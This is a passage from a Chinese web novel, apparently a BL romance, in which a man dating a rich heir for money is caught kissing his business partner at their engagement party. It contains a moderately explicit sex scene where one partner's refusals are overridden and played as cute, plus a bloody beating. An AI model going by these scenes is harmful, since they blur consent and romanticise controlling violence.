梁文乐注意到他的耳垂红得滴血,眼神慌乱,当真是可爱的小兔子,难免生出怜惜之心:“好吧,回家就可以是吧。” 叶临听着他的语气,总感觉到面前有巨大的风险在等着自己,正想开口说些话挽回,车辆就重新启动。 车载音响播放热辣,节奏感强的外文歌曲,听不懂,但能够感觉到歌唱者的情绪十分亢奋,总是会莫名其妙地怪叫。 平常梁文乐也不听这些歌曲,都是古典的,抒情的,浪漫的纯音乐。 今天突然听这种,情绪应该发生了很大的转变。 叶临正在猜测,车就停在别墅门口。 还么等他反应过来,梁文乐就打开车门,伸出手要扶他下去。 叶临搭上手,唤了一声“文乐”,紧接着就被抱起来,迅速朝着别墅走去。 梁文乐抱着他,低头去吻,像是片刻都忍不了。 刚进别墅,就有领带掉落,外套也随意地甩在旁边的柜子上。 圆圆高兴地朝着两个主人跑过来,却发现他们根本不搭理自己,着急地转圈圈。 叶临抽出空去看圆圆,试着劝梁文乐:“文乐,圆圆在叫了,你快放我下来。” 梁文乐完全不搭理这条萨摩耶,抱着叶临跑到二楼,就把门反锁。 圆圆抬起爪子去抓门,老半天里面都没反应,只好埋头,发出哀叫。 隔音很好,叶临没有听见狗叫声,只是忙于应付梁文乐。 梁文乐的房间布置得很梦幻,到处都是大型玩偶和柔软的布。他拉开抽屉,从里面翻出一堆小玩具。 叶临都还没反应过来,直到他把一条毛茸茸的白色兔尾巴拿到眼前,才吓得失色:“文,文乐,这是” 白色兔尾巴并不单纯,首端很小,尾端是超大的毛尾,但也很吓。 人类都把尾巴进化掉了,兔尾巴还能从哪里长出来? 叶临坚决不想要这个兔尾巴,抬手去挡。 梁文乐帮他戴上垂耳兔的发饰,再强硬地安装上尾巴,捧着脸狠亲一口:“我早就想这样了,你像只小兔子,好可爱!” 叶临感觉到兔尾巴的存在,红着脸地抗议:“我,我不要这个尾巴。” 梁文乐爱死他这副模样,抬手去玩:“要嘛要嘛,有尾巴的叶临好可爱,想” 叶临有过尾巴,那都是饥饿值到达顶峰,出现魅魔形态的时候了。 跟这种感觉完全不一样,但都很难堪。 刚开始,他还需要顾嘉致消解饥饿值,维持住人形,一找不到顾嘉致就慌张。 现在跟这几个男人搅和在一起,饥饿值哪里有机会上升。当然,金钱余额也从来没有下去过。 不知道怎么说,感觉习惯了,也就懒得吐槽。 叶临这样想着,忽然听到蚊子煽动翅膀的声音,嗡嗡嗡的,就从耳边响起来。 他还以为自己幻听,直到感觉到漫长的痒意。 这个兔尾巴,居然,居然能活动? 叶临难以置信地看向梁文乐,轻声求饶:“文,文乐,不要它了好不好?” 梁文乐静静地欣赏他背后轻轻摇晃的兔尾巴。 这可是他花大价钱买的仿真物品,能够入眼,还有额外的功效。 “小兔子要被吃掉了” “文,文乐!” 叶临差点跪不住。 快要彻底瘫倒。 他真想不到,梁文乐还会喜欢蕾丝。 喜欢就算了,偏要用在他身上。 两个大男人,有话就说,有事就做,干干脆脆的。 为什么偏要用毛绒玩具和蕾丝花边这些东西? 叶临恨透背后的梁文乐,可是自己又无法反抗,只能在心里默默地骂。 他听说过,蕾丝昂贵,是因为要用手工钩织,耗时*耗力。 这样手工制作的蕾丝,立体精致,不粗糙。 哪里不粗糙,明明就会被磨疼!? “文,文乐,不要兔尾巴了”叶临快要崩溃了。 他要是知道回家是这种状况,刚刚肯定愿意去见叶家人。 “那你要什么?”梁文乐故意凑到他耳边询问。 “要,要文乐”叶临实在是说不出口,但是梁文乐逼得太紧了,后面的词汇只能放低声音。 虽然声音很小,但是梁文乐还是听到了,心甘情愿地满足。 兔尾巴被丢到地毯上,已经不能要了。 兔耳朵头饰也不堪重击,摇摇欲坠,最后滚落。 叶临呜呜呜个不停,看到地上的兔耳朵就恨不得抓烂,但他自身难保,怎么可能有机会去报复。 门外的圆圆睡久了,还是没有看到主人出来,朝着楼下跑去,要去吃晚饭。 已经是傍晚时分,夕阳中别墅的剪影很唯美,草坪上的细小野花随风摇曳。 二楼的卧室恢复平静,只拉上了薄薄的纱窗,让暖橙色的阳光得以透进去,照在洁白的皮肤上。 叶临累得抬不起手指,靠在梁文乐怀里,嘴里还嘟囔着:“把那个尾巴和耳朵扔了。” 梁文乐亲亲他泛红的眼尾,柔声应和:“好,都扔掉。不过刚刚的叶临好可爱啊,好喜欢好喜欢。” 叶临恨不得攮死他,但只能闭上眼睛忽略这段神经质的发言。 梁文乐摸摸他的头顶,忍不住畅想:“如果你真的有尾巴和耳朵,我肯定不舍得你出门,要永远关在卧室里。” 叶临想到自己的魅魔形态,他觉得以后绝对不能在梁文乐面前展现。 鬼知道这臭小子会做出什么可怕的事情! 等到天色完全黑下来,叶临就已经陷入熟睡中。 梁文乐抱他去浴室,默默地收拾残局,虽然辛苦,但内心得到了巨大的满足。 如果他能跟叶临永远生活在一起,那做什么事都是有意思的。 顾嘉致自从上次受到刺激,精神状态不太好,全天都得安排医护人员照顾。 梁文乐跟叶临抱怨,好兄弟大概不能出席订婚宴,心里不舒服。 叶临倒是庆幸,他也不希望在订婚宴上见到顾嘉致,安慰梁文乐看开。 梁文乐就不愿意,认为顾嘉致是他们小情侣重要的月老,必须出席见证。 为此,经常回去医院探视,反反复复地给顾嘉致强调订婚的重要性。 好像顾嘉致坐在轮椅上,都必须得来现场。 叶临不想再看见顾嘉致,没有陪同,专心在家里休息,还得找机会联系沈邵。 上回在车里不小心删掉沈邵,他醒过来重新发起好友申请,但是没有通过。 第一天没有通过,那就是沈邵忙于正事,没有时间。 第二天没有通过,那就是沈邵装没看见。 他几乎每天都要跟沈邵闲聊,大都是他吐槽,沈邵应和。 现在没有了沈邵,都没地吐槽,必须加回来。 可是现在去沈邵公寓,未免太显眼了,到时候梁文乐查到,肯定会发疯质问。 叶临牵着狗去院子里,找个角落打电话。 院子里的视野好,正对大道,可以及时观察到梁文乐何时回来。 一旦看到梁文乐,就立即挂断,装作是遛狗。 刚开始还打不通,到第三次终于打通。 “沈邵,上次是梁文乐要查手机,我只能删掉,不是故意要删你的。” “我知道。” “那你为什么不加回好友” “加回来,再因为梁文乐被删一次?”沈邵的语气冷淡,词句之中却能感觉到仇怨的情绪。 “不会了,梁文乐又不是天天都检查。” “是吗,你能保证?” “我”叶临想到自己保证订婚后也会经常去沈邵的公寓,可是还没订婚,他就没再去。 梁文乐还是个没事业心的富二代,婚后肯定天天黏着他,怎么可能抽得开身。 “叶临,承认吧,你根本做不到,只知道给空头支票。” “我过几天会想办法去你那里。” “不必了,我这几天都在公司吃饭,不回去做饭。” “沈邵,没必要吧!”叶临听出来沈邵在生气,在怨他不过去:“是我不想吗,明明是梁文乐害的。你不怪梁文乐,怪我做什么!” “我都怪啊。你知道吗,公司这两天失去了好几个大客户,又没多少起色了。” “什么!”叶临听到公司出事,心脏都提到嗓子眼,紧急追问:“到底怎么回事?” 原来,梵星的浏览量做上去,本来谈好了几个大的广告商。 但是现在这些广告商说什么都不愿意干,哪怕给出优惠价格,也要撤走。 梵星只有沈邵一个人,靠不到沈家,这些广告商不信任。 如果现在有叶临出面,搭着梁家,就还是有希望。 叶临听完他的话,就感觉事情紧急,必须马上过去。 沈邵听到他的语气急切,就知道计划成了:“刚好三天后,我约了几个广告商来公司商谈,你过来吧。” 叶临立即应下,但是想到三天后是订婚宴前一天,估计很难抽身,只好跟沈邵商量。 沈邵那边很为难,无法提前和延长时间。 那就没办法了,天大地大,事业最大。 叶临挂断电话就在想计策。 订婚宴前一天早上,梁文乐在确认流程,还把叶临叫醒试衣服。 叶临看到节目清单,心生一计,突然说道:“文乐,怎么没有红色的玫瑰花,我想要。” 梁文乐只喜欢梦幻的颜色,嫌弃地吐槽:“红色的俗死了。” 叶临故意装可怜:“可是,我听人家说,酒红色的玫瑰花象征幸福,婚礼上也该有几朵的。” 梁文乐算了算时间:“现在飞过去挑选,晚上布置也来得及,就是有点麻烦。” 叶临跟他谈久了,深谙撒娇之道,立即踮起脚去亲,眨眨大眼睛,软着声音恳求:“文乐,我就要酒红色的玫瑰花嘛!还得是你亲自挑选的,才最漂亮!你那么厉害,肯定可以弄到的,对不对?” 梁文乐被他亲得没脾气:“好好好,我现在就坐飞机去挑选。还有什么想要的,都说了,省得明天又要闹。” 叶临瞎说了几个珠宝,大钟,钢琴,催促他快点飞过去。 梁文乐很享受被他依靠的感觉,全部记下来就出发。 等他一走,叶临换件不起眼的衣服,就去了梵星。 公司门口种植很多高大的绿树,其中就有棵玉兰树。 开花的时候像是雪团挂满了枝头,散发着浓郁的香气,远远地看去很美。 叶临路过玉兰树,走进梵星,就有几个职员在向他问好。 紧接着就是多日未见的沈邵来迎接他,将他拉进办公室里。 办公室里已经坐满了四五个广告商,面相各异,看着都不好说话。 沈邵的眼下发青,很久没有睡好觉,站在叶临旁边,垂头丧气,像个受委屈的小媳妇。 叶临看到沈邵这副惨状,斗志立刻就燃起来了,坐下来跟他们夸下海口:有办法拉到梁家的投资,还吹嘘梵星未来的发展变化。 这些广告商先是不相信,刁难他几句。 得知他要跟梁文乐订婚,纷纷点头,答应愿意合作,还夸赞叶临日后大有作为。 叶临在众人的吹捧中飘飘然,感觉自己变成了有能力的成功男性,笑眯眯地送广告商到公司门口。 广告商们离开公司后没坐车走,绕到远处,跟沈邵的助理结算演出费用,才满意离去。 沈邵用一种钦佩地目光看向叶临,就像是在看自己最大的支柱。 叶临得意之余,还不忘记安慰他,轻轻地拍肩膀,鼓励道:“你不要太担心了,这些人愿意合作,那公司的危机就解除了。” 沈邵低眉顺眼,委屈巴巴地抱怨:“今天还好有你,不然他们肯定放弃合作。 你都不知道他们怎么嫌弃我,说我离开沈家一无是处,根本撑不起梵星。” 叶临义愤填膺地骂起来:“真是狗眼看人低,你虽然离开沈家,但实力还是在的,当然能撑起梵星了! 别担心,再过一年,梵星的规模更大,会很多人想上门跟我们合作的,哪里轮得到他们。” 沈邵继续恭维:“还得是你,我一个人都不知道怎么办。” 叶临拍拍他的手背,安抚好几句:“放心好了,有我和你,梵星的路只会越来越顺。” 沈邵叹息一声:“可是你明天就要跟梁文乐订婚了,好几个月都不会回来。” 叶临沉默了,入赘确实如此,不得自由。 沈邵趁机揽住他的腰,低头去吻:“临走时,给我留点念想吧。” 叶临没有抗拒,踮起脚,主动去搂住肩膀,任由他深吻十多分钟才分开。 不远处的大树背面,林弘正在疯狂按快门,将他们的接吻场面完整地记录下来。 第43章 第43章灰色的订婚宴 订婚宴早上,天色阴沉,灰色的云层看着很脏,像是用过的棉花团。 叶临刚出门,就听到梁文乐在抱怨天气。 其实他不在意订婚宴当天的天气,只希望流程简化,快点结束。 梁文乐和他都换上了白色的定制西装。 立体剪裁修饰身形,衣服上面还有很多精致的饰品。大都是昂贵的宝石,远远地看去,像是在白纸上渲染了大片花朵。 叶临对花西装很满意,至少梁文乐没有逼他穿婚纱。 圆圆也戴上了宝石项链和花朵头饰,双颊被打上腮红,由管家牵着,陪同在旁,当做重要的见证狗。 主车全身镶嵌钻石,侧面和正面分别用红色和蓝色宝石做出结婚祝语。 旁边有三十二辆豪车作为陪衬,形成声势浩大的车队。 这些豪车都是梁文乐的好朋友们开过来捧场的,每辆价值千万,陪同他们从别墅到订婚现场这段路。 此外,从起床开始,就有专门的摄影团队记录他们订婚的全过程,天上更是飞了好几辆无人机。 到达订婚现场后,应该还有别的流程,大概是与花哨和奢华脱不了干系。 叶临上车后,感觉今天会累死,靠着座椅生无可恋。 梁文乐在旁边拿着手机疯狂拍照,还要凑到他脸旁边:“快笑起来,纪念我们的订婚日!” 叶临还没睡饱,勉强挤出个笑容,语气冷淡:“今天订婚,好高兴啊!” 梁文乐察觉到他的敷衍,抬手肘去撞肩膀:“你敷衍我,今天可是订婚日哎,那么重要的日子!” 叶临感觉到怒气,立即坐整身体,努力去想快乐的时光,才勉强露出灿烂的笑容,眼神还要略显娇羞,才能让梁文乐满意。 他真不喜欢这样随时随地演戏,戴着面具生活。 一开始跟梁文乐的关系不算亲密,偶尔演戏还能接受。 现在24小时都粘在一起,无时无刻都得演,就非常心累。 尤其是订婚后,居然还要度蜜月一年! 光是想想梁文乐娇纵的性格和任性的技术,都感觉是一场身体和心灵的双重折磨。 叶临偏头去看窗户玻璃,里面的自己涂了白底,还有淡淡腮红,以及各种稀奇古怪的眼影,精致得完全不像曾经的他。 真是戴了个面具,牢牢地吸附在脸上,很难摘下来。 以前他总看到新娘在婚礼当天离开家,会伤心流泪,无法共情。 今天倒是深有领会。 虽然名义上是订婚,但这个繁琐的流程已经结婚的架势了。 虽然不是从自己家里出去,但坐上车被迫假笑的时候,就已经离开安全堡垒了。 更何况,他根本不喜欢梁文乐这个人,只是喜欢梁文乐的钱,怎么可能会高兴得起来。 如果是跟喜欢的人结婚,那么他肯定会认真地规划婚礼全过程,婚礼当天早早地起来,吻醒他的爱人。 男生都会这样,只要是真心喜欢,就会用心。 事实上,梁文乐就是这样对待他。亲自操办订婚整个流程,大早上把他吻醒,拉起来梳洗打扮。 但他不喜欢,所以很烦躁。 “你在想什么,一直看外面?”梁文乐的语气轻快,凑过去好奇地看。 “没看什么,就是在想我们未来的生活。”叶临故作很期待的模样,眼睛里却暗淡无光。 “我也好期待,到时候我们要坐飞机去保加利亚的玫瑰谷,再去卡尔斯班”梁文乐牵住他的手,心情雀跃地向他描述密月期的所有行程安排。 他的计划将全世界都囊括其中,大都是浪漫梦幻的地方。 看尽所有花朵和有趣的动植物,体会当地的风土人情,还可以向各地保佑爱情的神明祈祷。 叶临对这些地方都没兴趣,还是喜欢呆在家里打游戏,偶尔去公司视察业绩。 真实的人他跟梁文乐是完全不同的人。 梁文乐是极致的理想主义,非常感性,喜欢浪漫梦幻,做事情从来不爱考虑实际,全凭心情变化。 而他是现实主义,比较注重生存,喜欢简单干脆,做事情都要考虑后果,往往能够根据现实情况逼迫自己,极少数极端情况才会放弃摆烂。 他能演一天,一个月,能毫不停歇地演一年吗? 叶临对自己的承受能力产生怀疑,开始预想自己无法演下去的时候,该怎么面对梁文乐。 婚礼现场是一处价值几十亿的豪华酒庄,大型的复古欧式建筑可以可以容纳数万人。 外面有上百顷的空地,种满各种各样的鲜花,是盛放的海洋。 进入酒庄就像是进入迷宫,到处都是回廊和房间,根本分不清方向。 叶临跟着梁文乐走到休息室,身边有亲朋好友做伴。 休息室很大,主位的大沙发装修得像是王座,供新婚夫夫休息。 叶临坐下来,就感觉到旁边的梁文乐气压很低。 果不其然,梁文乐猛地放下茶杯,看着窗外的阴天发脾气:“烦死了,怎么还不变晴。” 梁父不耐烦地劝告:“宾客们都在外面等着呢,不出太阳也可以举行。” 梁文乐偏要赖在这里:“不要不要,必须有太阳!” 梁母体贴地说道:“那就再等等吧,我看着云层也不厚,很快就能出太阳。” 梁父不想在这里受气,朝着外面走去,梁母紧跟其后,在旁边小声劝他。 陈琳瑜穿着白色的人鱼裙摆进来,身上大都是钻石,在灯光下像是优雅的公主。 她最懂这位表弟,立即哄道:“别烦了,今天肯定能有太阳。” 梁文乐喝了茶继续抱怨:“要是在国外,一炮就是晴天了,都是我爸不好。” 陈琳瑜笑起来:“那你结婚的时候,干脆在国外好了,肯定更隆重。” 梁文乐点点头,看向旁边呆呆的叶临,没来由地生气,轻轻地踢他的小腿:“你今天怎么回事,一直心不在焉的!” 叶临感觉到疼痛,回过神来连忙赔笑解释:“我,我就是有点紧张。以前知道要订婚是高兴,真订婚当天,还是觉得不太真实。” 陈琳瑜感激他那天冒险去救表弟,帮忙应和:“幸福都是不真实的,这样就对了。” 梁文乐半信半疑:“我怎么感觉你今天怪怪的。” 那天林弘发来的照片,就像是一根刺扎进心里。就算拔掉,心里已经有了痕迹,很难彻底消失。 梁文乐还是怀疑,拿起宾客名单来看。 有几千名宾客,宾客名单是很厚的册子,按照字母排序慢慢查找,果然看到了沈邵的名字。 梁文乐的手指停留在沈邵的名字上,久久没有抬起来。 陈琳瑜注意到了,小声问:“你都要跟叶临订婚了,不会还惦记他吧?” 梁文乐看向叶临:“你今天高兴吗?” 叶临连忙点头,眉眼弯弯,努力地装出高兴的样子:“高兴啊,今天能和文乐订婚,真是三生有幸。” 梁文乐放下册子,又要发脾气考验他:“那坐车来的时候,我看你一路上兴致缺缺,都不知道跟我说话。” 叶临无奈:“我没有啊,文乐说一句,我就回一句的。” 梁文乐心里其实已经满意了,但现在没有太阳,闲着无聊还是要“哼”一声:“对啊,你都是在回应我,都没有自己的想法,这就是敷衍。” 叶临先是石化,紧接着就出现裂纹,快要崩溃。 他知道梁文乐这个矫情的毛病偶尔会发作,但没想到在陈琳瑜面前也不收敛。 “我没有敷衍你,我也说了自己的想法,真的。” “我不管,你就是敷衍,气死我了!” 梁文乐说完话就站起来,打开旁边的侧门走进去,故意离开,速度还很慢,等着叶临追上去。 他就是很享受被叶临哄,这是在行驶被爱的特权。 叶临今天穿着的这一身并不轻,看到他这样,懒得去哄,只想坐着休息。 陈琳瑜就在旁边催促他:“文乐生气了,你快去哄哄他吧。” 还有别人也在催他:“对啊对啊,婚礼还要继续,快哄哄吧。” “文乐脾气就是这样,需要人捧着,你身为他的男友,快去吧。” “我知道文乐的性格,再不去,估计要发更大的脾气,到时候大家都别想好过了。” 叶临被他们吵得耳朵疼,只好顺着文乐离开的方向走,速度很慢,并不是真心想去。 宾客们大都是梁文乐的亲朋好友,他们当然会无底线地偏袒梁文乐。 只要梁文乐不开心,就默认叶临必须去劝,去哄。 已经能够想象到,订婚后他们住在一起,偶尔去别人家做客,大家都会默认他必须顺着梁文乐。 叶临不择手段,费尽心机挤进了梁文乐的世界里。 以为可以获得荣华富贵,享受生活。 其实梁文乐就是世界中心,他从生到死,都得围着梁文乐转,任何时候都要仰仗梁文乐的鼻息而存活。 真的要这样吗,真的要一直这样窝囊虚假地生活吗? 叶临陷入了沉思。 他才抬头没看见梁文乐的身影,换了几个方向都没人,发现自己迷路了,干脆摆烂随便找个房间坐下来休息。 与此同时,梁文乐没看到叶临跟上来,坐在长廊的椅子,打电话跟朋友们抱怨。 “你说,我在订婚当天这样对叶临,是不是有点过分啊?” 其实他跑出来,看到外面美轮美奂的花海,就有点后悔,不应该在高兴的日子耍小性子。 “怎么过分了,我们文乐做什么都是对的!他在车上本来就是心不在焉,就应该吃点苦头,婚后才能对文乐好。” 梁文乐的每个朋友和亲戚都会习惯性地捧他,绝对不会让他反省,坚决把过错推给对方。 “是这样嘛,其实他对我已经很好了。” “哇,他能跟我们文乐结婚,是他几辈子修来的福气。文乐长的好看,又有钱,还体贴人!这么好的伴侣,去哪里找啊!” 朋友力挺梁文乐,越说越激动,忽然看到林弘发来的消息,是关于叶临的。想到曾经朋友一场,还是帮忙传话。 “文乐,有人给你的邮件发了很重要的东西,你快去看看。” “什么重要的东西啊?” 邮件是视频和图片。 下载后打开,居然是叶临和沈邵。 图片里可以清晰地看到,两个人站在玉兰树下拥。吻,而背后赫然是梵星两个大字,正好是公司门口。 叶临知道沈邵的住址,他们的公司叫梵星,订婚当天心不在焉,没有及时追上来 梁文乐的手指发颤,差点从椅子上滑落,已经隐隐预料到了什么,但还是不想承认。 如果图片可以造假,那视频呢? 他点开视频,时长三分钟。 叶临很主动,还踮起脚搂住沈邵的脖子。 而沈邵扶着腰,低头俯身,忘情地跟他亲昵。 看得出来,他们已经偷偷亲过很多次,才会有如此高的默契度。 拍摄时间是昨天早上,也就是叶临突然撒娇要红玫瑰的时候。 昨天他为了选出漂亮的酒红色玫瑰花,坐三趟飞机,忙活到晚上才结束。 回到别墅已经很累了,但想到第二天是订婚宴,还是满心欢喜抱着叶临睡下。 叶临为什么临时起意要酒红色玫瑰花呢,是因为要去见沈邵吧。 沈邵为什么要在公司门口拥。吻,是因为第二天就要订婚,当作是告别吧。 他们什么时候勾搭上的? 是第一次在赛车场,叶临盯着沈邵的车开始吗? 梁文乐不敢深想,扶着栏杆站起来,慌慌张张地看向四周,想找到叶临的身影。 他要找到叶临,亲口问清楚。 做完这个决定,梁文乐谁也没通知,狼狈地奔跑,在酒庄里四处寻找。 天气还是没有转晴,宾客们都在别墅里等着,看空地上的婚礼现场,猜测这场婚礼的真实意图。 叶临坐在沙发上,好几次拿出手机想打电话给梁文乐询问位置,但还是纠结。 问到位置,就得过去好声好气地哄梁文乐,还得演戏。 就很累,再拖一会儿吧。 反正太阳没出来,婚礼没有开始,都还来得及。 “唉”叶临长叹一口气,忽然听到脚步声,抬头就看到穿黑色西装的沈邵出现在门口:“你也来了。” “你的订婚宴,当然要来。”沈邵的目光落在他身上的装饰,走到跟前抬手去摸领带:“这不是订婚,是结婚了。” “没差别,你不知道梁文乐有多烦。”叶临痛苦地翻白眼,把刚刚的事情都吐槽一遍。 “知道他烦,还要订婚?”沈邵抬手去摸他的脸颊,结果被拍开,只好作罢。 “那有什么办法,他非要订婚,我也想要他的钱。” “梵星已经开始盈利了,就像你说的,明年很有可能实现流水过千万。而且你手里也有不少钱,不是很缺吧。” “确实不缺,但谁又会嫌钱多呢。” “你呆在梁文乐身边不好受吧,这种钱非得赚吗?” “我” “守着梵星,舒舒服服地赚钱不好吗?非要在梁文乐这里伏小做低? 梁文乐,我是知道的,幼稚愚蠢,任性妄为,还爱耍脾气。你在他身边,应该不好受吧。” “唉,钱难赚屎难吃,确实不舒服。” “那你现在有容易的赚钱方式,为什么要坚持?”沈邵把事实利弊全部摆出来,就是希望他做出理智的选择,放弃麻烦的梁文乐,选择顺心如意的他。 “我就是”叶临说不清楚心里的感觉,脑子会冒出梁文乐跟他相处的片段,好像也不是每时每刻都觉得恶心,所以才能能坚持如此久。 但确实说不上喜欢,只是说依赖梁文乐身上的钱罢了。 沈邵透过窗户,注意到不远处梁文乐的身影,俯身去吻,按着叶临的肩膀。 叶临感觉到热意,顺承一会儿,就听到有人走进来。 下一刻,沈邵就被强行扯开,脸上挨了一拳,往后倒去,撞在墙壁,发出巨大的声响。 叶临还没反应过来,就看到沈邵的脸上浮现出血痕,吓得站起来。 梁文乐的拳头上还有血,他没看旁边的沈邵,而是死死地盯着叶临。 叶临只有在游艇梁文乐揍人的时候,才能看到这种冰冷的眼神,下意识地解释:“文乐,你听我说,这都是误会?” “误会吗?”梁文乐拿出手机,上面正在播放沈邵跟他接吻的视频:“你昨天早上让我去选酒红色玫瑰花,结果是去找沈邵,对吧?” 怎么会被拍下来,梵星周围应该是没有人才对啊! 怎么会这样? 叶临惊慌,还是指着视频泼脏水:“文乐,这个视频是谁发给你的,肯定是电脑合成的假货,就是为了栽赃陷害我!” 梁文乐冷笑起来,将手机朝着沈邵脸上砸去:“好,既然视频是假的,那刚刚沈邵跟你接吻,是我眼瞎了吗!” 叶临面对这种质问,已经找不到辩解的理由。 假如他对沈邵毫无感情,那就可以心安理得地污蔑是沈邵强迫他,轻松揭过去。 可是他喜欢呆在沈邵的公寓里,喜欢吃沈邵做的饭,很满意沈邵帮他管理公司。 这样背叛朋友,不讲义气的行为,他做不到。 空气凝滞,像是暴雨时期的云层,漩涡深处酝酿着强大的雷暴。 梁文乐很有耐心,就静静地看着叶临。 他其实不想在订婚当天怀疑自己的伴侣,毕竟这个伴侣曾经给他带来无数的感动和深沉的爱意。 所以,只要叶临现在告诉他,都是沈邵逼迫的。他或许可以骗骗自己,发泄过后继续举行订婚仪式。 可是叶临就是不说话,就是要让他心急如焚,站在悬崖边,眼睁睁地看着自己慢慢地下坠。 地上的沈邵擦掉嘴角的血迹,站起来答复:“别问了,是我逼迫叶临的,他是无辜的。是我找到叶临,逼迫他投资梵星,是我打电话逼迫他在订婚宴前一天来公司。 你也知道叶临无依无靠,很好欺负吧,所以我就可以轻松逼迫他。而且我想利用他报复你,这一切都跟他没有任何关系,都是我蓄意谋划。” 梁文乐有了发泄口,顺势转身出拳,正中沈邵的下巴,飙出鲜血。 “你给我去死!” 沈邵只是闷哼一声,并未反抗,任由梁文乐疯狂地出拳,半张脸都被血染红。 梁文乐将沈邵从房间里甩出去,扔到走廊上疯狂出拳,一语不发。 他在等叶临说话,只要叶临哭着承认是被沈邵逼迫,那样他就接受这个蹩脚的借口,不计前嫌。 走廊上被梁文乐的朋友围起来,有人惊叫,有人退后,都不敢前进。 沈邵已经被打得不成人样,整个人倒在血泊中,一直用余光看着房间里的叶临。 他在等叶临做选择,选择梁文乐,他就还手,从此收心;选择他,那就可以安心地躺下,接受叶临的袒护。 有人疑惑道:“文乐,你干嘛打沈邵啊,他不是你初恋吗?” 有人劝说道:“文乐,今天是你订婚的日子,见到血不好,停手吧。” 还有人看向叶临:“叶临,你快说句话啊,文乐要打死人了!” 叶临终于从茫然的状态回过神来,发现地上的沈邵血肉模糊,已经跟当时的顾嘉致如出一辙。 顾嘉致就是这样进入ICU,从此失去记忆,永远地离开他。 沈邵也要进ICU,离开梵星,离开他吗? 阳光终于从厚厚的云层透出来,照在梁文乐的脸上,是柔和明亮的,风将花香送进来。 外面的花海繁花似锦,绿草如茵,里面的走廊尽是血迹,散发着腥味。 大部分人都还在等待盛大浪漫的订婚仪式,少部分聚集在走廊里,大气不敢出。 他们清楚地知道,把梁文乐这个疯子惹急了,什么都做得出来,所以不敢阻止。 梁文乐的脸上都是血,他抬起拳头朝着沈邵的心口砸去,脑子里只剩下杀人的念头。 然而这一回,拳头被结结实实地接住,不是沈邵,而是面无表情的叶临。 叶临将沈邵护在身后,示意旁边的人叫救护车:“够了,你非要把人打死才罢休吗!” 梁文乐的眼眶瞬间就红了,扯着嗓子强调:“可是他强迫你,我在帮你出气!” 叶临的目光扫过他身后那些胆怯的朋友,忽然觉得可悲:“他没强迫我,是我自愿的。” 梁文乐低头去看地上的沈邵,鼻头泛酸,开口的时候已经有了哭意:“你说什么?” 沈邵透过血色染红的视线看向身前的叶临,宛如看向自己的盖世英雄,咧开嘴笑起来,露出满口的血。 他赌赢了,梁文乐在叶临心中的份量,远远不及他。那就可以安心地躺着看戏,哪怕五脏六腑都在疼,依然有闲情逸致。 众人惊讶地捂嘴,下意识地往后退好几步,不敢掺和这个混乱的场面。 叶临不想再忍下去了。 他觉得沈邵说的对,任何人想要得到梁文乐的好处就要当狗,就要窝窝囊囊。 梵星已经开始盈利,而梁文乐已经看到他和沈邵亲密,铁证如山,多说无益。 他昂起头,第一次在梁文乐面前高傲自负,同时又极端冷血:“对,我自愿跟沈邵合资创办梵星,我自愿去他家吃饭,睡觉,昨天也是我自愿去公司跟他接吻,你满意了吗!” 梁文乐听到这句话,像匹脱缰野马,疯似地朝着沈邵冲过去,想把他碎尸万段,以此泄愤。 结果叶临及时拦住,朝着他的脸颊打了一拳,再将他踹远:“梁文乐你个疯子,今天非要死人才甘心吗!” 梁文乐往后踉跄几步才停止,摸着脸颊看向自己的爱人,眼眶里已经有泪光在闪烁,哽咽道:“你为了他打我,你居然为了他打我! 你不是最喜欢我了吗,为什么要帮沈邵,为什么跟他私会!” 反正一切都完了,今天的订婚也不可能再继续。 叶临憋了许久的怨气像是火山一样爆发,冷声嘲讽:“梁文乐,你真挺蠢的。我怎么可能喜欢你这种自私自利,刁蛮任性,没脑子的蠢货! 你身边所有人都知道我喜欢你的钱,不是你的人,就你看不透,还傻傻地以为我喜欢你啊*!” 梁文乐一直以为,他的叶临是只天真懵懂,可爱单纯的小兔子。 可现在小兔子的皮被撕烂了,从里面钻出一只恶心发臭的毒蛇,跟地上的沈邵一模一样。 梁文乐感觉自己把心脏送给了小兔子,要小兔子好好地保存。 结果小兔子死了,毒蛇把心脏当着他面撕烂踩碎,还把他贬的一文不值。 纵使如此,他也曾深爱过,忍不住追问:“那一切都是假的吗? 你每天陪我上下学,绕远路买我喜欢的甜点和果茶,骑车带我私奔,冒雨帮我买药,还发高烧,发誓这辈子非我不可?” 叶临嗤笑一声,对他投以轻蔑的眼神:“就你这种蠢货才会被这种小恩小惠感动了。 你知道,我跟你谈恋爱多憋屈吗?每天都得装孙子,什么都得哄着你。 你一个眼神,我就得当狗,无时无刻都得演戏,累死了! 你爸说得对,你被关起来那几天我就是想跟你爸要钱,然后滚得远远的,再也不会在你面前出现。 谁知道,他不给钱,那我就只能去找你私奔喽,还感动上了,神经!” 梁文乐听到他轻描淡写地带过自己被感动的所有细节,还用嘲讽的语气调侃他们的恋爱日常,心如刀绞。 大颗大颗地泪珠掉下来,砸在衣服和手臂上。 他还是不肯相信,哽咽道:“是因为沈邵对不对,他花言巧语迷惑你,让你离开我。 其实你根本不是这样想的,你还是很喜欢我的,还是想跟我订婚的。” 叶临看着他哭哭啼啼的模样,莫名心软:“不是,我本来就不可能喜欢你。你不是我的菜,就这么简单。 今天的订婚取消,你以后找个好人结婚吧,以后不要见面了。 然后,恋爱期间你给的钱,我都做了记录,就当作是欠款,三五年后发达了,我会还给你。” 梁文乐在这瞬间又看到了平时对他很好的叶临,满怀期望地抓住他的手腕:“我不相信,你肯定还喜欢我,就是被沈邵挑唆了。 我不要你还钱,那是自愿赠予的,怎么可能要回来!” 这时救护车已经开进来,众人纷纷给医护人员让路,沈邵被抬上担架。 叶临想陪同过去,只好劝:“松手,我要陪沈邵去医院。” 梁文乐用力握紧,语气决绝:“不要,今天你别想走,让他死好了,就是活该!” 叶临发现少爷真是给点好脸色就蹬鼻子上脸,忍无可忍推开他的手,脱下西装外套砸在地上,大声放狠话:“我看你就是贱,听不懂好话! 假如你这种烂人出生在一个贫困家庭,我根本不会喜欢你,看到你就想打。 你身边每个人都会嫌弃你,唾弃你是个废物累赘,巴不得你早点去死!” 梁文乐这回真从他的眼神里看到了恨意,慌得无所适从。 叶临居然骂他是烂人,希望他去死? 可以前叶临都是夸他是天才,是宝宝,是世界上最好的人,怎么会用这种恶毒的话咒骂他? 叶临变了,他的爱人被夺走灵魂了! 梁文乐像是坠入悬崖,粉身碎骨。 他来到陌生的世界,再也找不到那个笑容明媚,善解人意的叶临。 很久才回过神,脸颊全被泪打湿,心脏还在抽疼。 